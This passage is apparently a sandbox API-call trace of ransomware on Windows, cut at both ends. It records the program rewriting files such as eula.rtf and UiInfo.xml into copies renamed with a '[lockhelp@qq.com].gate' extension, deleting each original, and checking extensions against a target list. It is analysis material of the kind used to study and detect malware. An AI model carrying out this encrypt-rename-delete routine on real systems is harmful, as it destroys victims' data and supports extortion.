lpNewFilePointer=0x0) returned 1 [0113.340] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0113.341] GetLastError () returned 0x0 [0113.341] ReadFile (in: hFile=0x35c, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0113.530] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xc00, lpOverlapped=0x0) returned 1 [0113.535] ReadFile (in: hFile=0x35c, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.535] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.535] SetEndOfFile (hFile=0x320) returned 1 [0113.535] CloseHandle (hObject=0x320) returned 1 [0113.536] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.536] SetEndOfFile (hFile=0x35c) returned 1 [0113.537] CloseHandle (hObject=0x35c) returned 1 [0113.537] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.537] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0113.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.538] lstrlenW (lpString=".doc") returned 4 [0113.538] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.538] lstrlenW (lpString=".docx") returned 5 [0113.538] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.538] lstrlenW (lpString=".pdf") returned 4 [0113.538] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.538] lstrlenW (lpString=".xls") returned 4 [0113.538] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.538] lstrlenW (lpString=".xlsx") returned 5 [0113.538] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.538] lstrlenW (lpString=".ppt") returned 4 [0113.538] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.538] lstrlenW (lpString=".zip") returned 4 [0113.538] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.538] lstrlenW (lpString=".rar") returned 4 [0113.538] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.538] lstrlenW (lpString=".bz2") returned 4 [0113.538] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.538] lstrlenW (lpString=".7z") returned 3 [0113.538] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.538] lstrlenW (lpString=".dbf") returned 4 [0113.538] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.538] lstrlenW (lpString=".1cd") returned 4 [0113.538] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.539] lstrlenW (lpString=".jpg") returned 4 [0113.539] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.539] lstrlenW (lpString=".doc") returned 4 [0113.539] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.539] lstrlenW (lpString=".docx") returned 5 [0113.539] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.539] lstrlenW (lpString=".pdf") returned 4 [0113.539] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.539] lstrlenW (lpString=".xls") returned 4 [0113.539] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.539] lstrlenW (lpString=".xlsx") returned 5 [0113.539] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.539] lstrlenW (lpString=".ppt") returned 4 [0113.539] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.539] lstrlenW (lpString=".zip") returned 4 [0113.539] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.539] lstrlenW (lpString=".rar") returned 4 [0113.539] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.539] lstrlenW (lpString=".bz2") returned 4 [0113.539] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.539] lstrlenW (lpString=".7z") returned 3 [0113.539] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.539] lstrlenW (lpString=".dbf") returned 4 [0113.540] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.540] lstrlenW (lpString=".1cd") returned 4 [0113.540] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0113.540] lstrlenW (lpString=".jpg") returned 4 [0113.540] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.540] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.540] lstrlenW (lpString="UiInfo.xml") returned 10 [0113.540] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.563] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=39042) returned 1 [0113.563] CloseHandle (hObject=0x308) returned 1 [0113.564] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0113.564] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.564] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.564] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.564] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.564] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0113.575] GetLastError () returned 0x0 [0113.575] ReadFile (in: hFile=0x308, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x9882, lpOverlapped=0x0) returned 1 [0113.675] WriteFile (in: hFile=0x368, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x9890, lpOverlapped=0x0) returned 1 [0113.676] ReadFile (in: hFile=0x308, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.676] WriteFile (in: hFile=0x368, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe8, lpOverlapped=0x0) returned 1 [0113.677] SetEndOfFile (hFile=0x368) returned 1 [0113.677] CloseHandle (hObject=0x368) returned 1 [0113.678] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.678] SetEndOfFile (hFile=0x308) returned 1 [0113.679] CloseHandle (hObject=0x308) returned 1 [0113.679] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.679] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0113.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.679] lstrlenW (lpString=".doc") returned 4 [0113.679] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.679] lstrlenW (lpString=".docx") returned 5 [0113.679] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.679] lstrlenW (lpString=".pdf") returned 4 [0113.679] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.679] lstrlenW (lpString=".xls") returned 4 [0113.680] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString=".xlsx") returned 5 [0113.680] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.680] lstrlenW (lpString=".ppt") returned 4 [0113.680] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.680] lstrlenW (lpString=".zip") returned 4 [0113.680] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.680] lstrlenW (lpString=".rar") returned 4 [0113.680] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString=".bz2") returned 4 [0113.680] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString=".7z") returned 3 [0113.680] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.680] lstrlenW (lpString=".dbf") returned 4 [0113.680] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.680] lstrlenW (lpString=".1cd") returned 4 [0113.680] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.680] lstrlenW (lpString=".jpg") returned 4 [0113.680] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.680] lstrlenW (lpString=".doc") returned 4 [0113.680] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString=".docx") returned 5 [0113.680] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.680] lstrlenW (lpString=".pdf") returned 4 [0113.680] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString=".xls") returned 4 [0113.680] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.680] lstrlenW (lpString=".xlsx") returned 5 [0113.681] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.681] lstrlenW (lpString=".ppt") returned 4 [0113.681] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.681] lstrlenW (lpString=".zip") returned 4 [0113.681] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.681] lstrlenW (lpString=".rar") returned 4 [0113.681] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.681] lstrlenW (lpString=".bz2") returned 4 [0113.681] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.681] lstrlenW (lpString=".7z") returned 3 [0113.681] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.681] lstrlenW (lpString=".dbf") returned 4 [0113.681] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.681] lstrlenW (lpString=".1cd") returned 4 [0113.681] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0113.681] lstrlenW (lpString=".jpg") returned 4 [0113.681] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.681] lstrcmpiW (lpString1=".xsd", lpString2=".gate") returned 1 [0113.681] lstrlenW (lpString="SetupUi.xsd") returned 11 [0113.681] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.689] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=30120) returned 1 [0113.689] CloseHandle (hObject=0x348) returned 1 [0113.689] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0113.689] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.690] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.690] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.690] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.690] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0113.694] GetLastError () returned 0x0 [0113.694] ReadFile (in: hFile=0x348, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x75a8, lpOverlapped=0x0) returned 1 [0113.825] WriteFile (in: hFile=0x344, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x75b0, lpOverlapped=0x0) returned 1 [0113.826] ReadFile (in: hFile=0x348, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.826] WriteFile (in: hFile=0x344, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xea, lpOverlapped=0x0) returned 1 [0113.826] SetEndOfFile (hFile=0x344) returned 1 [0113.826] CloseHandle (hObject=0x344) returned 1 [0113.829] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.829] SetEndOfFile (hFile=0x348) returned 1 [0113.831] CloseHandle (hObject=0x348) returned 1 [0113.831] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.831] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0113.831] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.831] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.831] lstrlenW (lpString=".doc") returned 4 [0113.831] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0113.831] lstrlenW (lpString=".docx") returned 5 [0113.831] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0113.831] lstrlenW (lpString=".pdf") returned 4 [0113.831] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0113.831] lstrlenW (lpString=".xls") returned 4 [0113.831] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0113.831] lstrlenW (lpString=".xlsx") returned 5 [0113.832] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0113.832] lstrlenW (lpString=".ppt") returned 4 [0113.832] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0113.832] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.832] lstrlenW (lpString=".zip") returned 4 [0113.832] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0113.832] lstrlenW (lpString=".rar") returned 4 [0113.832] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0113.832] lstrlenW (lpString=".bz2") returned 4 [0113.832] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0113.832] lstrlenW (lpString=".7z") returned 3 [0113.832] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0113.832] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.832] lstrlenW (lpString=".dbf") returned 4 [0113.832] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0113.832] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.832] lstrlenW (lpString=".1cd") returned 4 [0113.832] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0113.832] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.832] lstrlenW (lpString=".jpg") returned 4 [0113.832] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0113.832] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.832] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.832] lstrlenW (lpString=".doc") returned 4 [0113.832] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0113.832] lstrlenW (lpString=".docx") returned 5 [0113.832] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0113.832] lstrlenW (lpString=".pdf") returned 4 [0113.832] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0113.832] lstrlenW (lpString=".xls") returned 4 [0113.832] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0113.832] lstrlenW (lpString=".xlsx") returned 5 [0113.832] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0113.832] lstrlenW (lpString=".ppt") returned 4 [0113.833] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0113.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.833] lstrlenW (lpString=".zip") returned 4 [0113.833] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0113.833] lstrlenW (lpString=".rar") returned 4 [0113.833] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0113.833] lstrlenW (lpString=".bz2") returned 4 [0113.833] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0113.833] lstrlenW (lpString=".7z") returned 3 [0113.833] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0113.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.833] lstrlenW (lpString=".dbf") returned 4 [0113.833] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0113.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.833] lstrlenW (lpString=".1cd") returned 4 [0113.833] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0113.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0113.833] lstrlenW (lpString=".jpg") returned 4 [0113.833] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0113.833] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.833] lstrlenW (lpString="UiInfo.xml") returned 10 [0113.833] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.833] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=38898) returned 1 [0113.833] CloseHandle (hObject=0x348) returned 1 [0113.834] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0113.834] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.834] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.834] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.834] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.834] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0113.834] GetLastError () returned 0x0 [0113.834] ReadFile (in: hFile=0x348, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x97f2, lpOverlapped=0x0) returned 1 [0113.856] WriteFile (in: hFile=0x344, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x9800, lpOverlapped=0x0) returned 1 [0113.858] ReadFile (in: hFile=0x348, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.858] WriteFile (in: hFile=0x344, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe8, lpOverlapped=0x0) returned 1 [0113.858] SetEndOfFile (hFile=0x344) returned 1 [0113.858] CloseHandle (hObject=0x344) returned 1 [0113.860] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.860] SetEndOfFile (hFile=0x348) returned 1 [0113.861] CloseHandle (hObject=0x348) returned 1 [0113.861] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.861] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0113.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0113.861] lstrlenW (lpString=".doc") returned 4 [0113.861] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.861] lstrlenW (lpString=".docx") returned 5 [0113.861] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.861] lstrlenW (lpString=".pdf") returned 4 [0113.861] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.861] lstrlenW (lpString=".xls") returned 4 [0113.861] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.861] lstrlenW (lpString=".xlsx") returned 5 [0113.861] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.862] lstrlenW (lpString=".ppt") returned 4 